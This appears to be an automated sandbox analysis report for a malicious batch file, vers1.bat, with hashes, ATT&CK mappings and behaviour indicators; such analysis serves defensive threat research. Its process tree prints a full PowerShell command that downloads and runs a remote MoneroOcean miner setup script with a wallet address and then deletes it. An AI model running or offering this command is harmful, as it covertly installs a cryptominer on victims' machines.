a84009aa12f35d93284297647c2714df7f5b0a04d2e0732c689740920ea1421f

Analysis

max time kernel
4s
max time network
5s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
25-06-2024 16:20

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General

Target

vers1.bat
Size

393B
MD5

ece9925dc634f1cc20e3fd7ff7a144bd
SHA1

8816112e72b7b64a668bf7214999d855a7e05bde
SHA256

a84009aa12f35d93284297647c2714df7f5b0a04d2e0732c689740920ea1421f
SHA512

bf80fdf5fa8c00a0ddb773bed073d33b67bf6189b87b803f6fea7071e49dfdeb86cf2142175d9287fbc7bcfd639c42d848e9331f8bc7e68dacaaa33901432243

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1076	powershell.exe
6	1076	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1076	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1076	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1076	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 1076	2356	cmd.exe	29
PID 2356 wrote to memory of 1076	2356	cmd.exe	29
PID 2356 wrote to memory of 1076	2356	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\vers1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1076-4-0x000007FEF5F9E000-0x000007FEF5F9F000-memory.dmp

Filesize
4KB

Download
memory/1076-5-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/1076-6-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/1076-7-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1076-8-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1076-9-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1076-10-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download
memory/1076-11-0x000007FEF5CE0000-0x000007FEF667D000-memory.dmp

Filesize
9.6MB

Download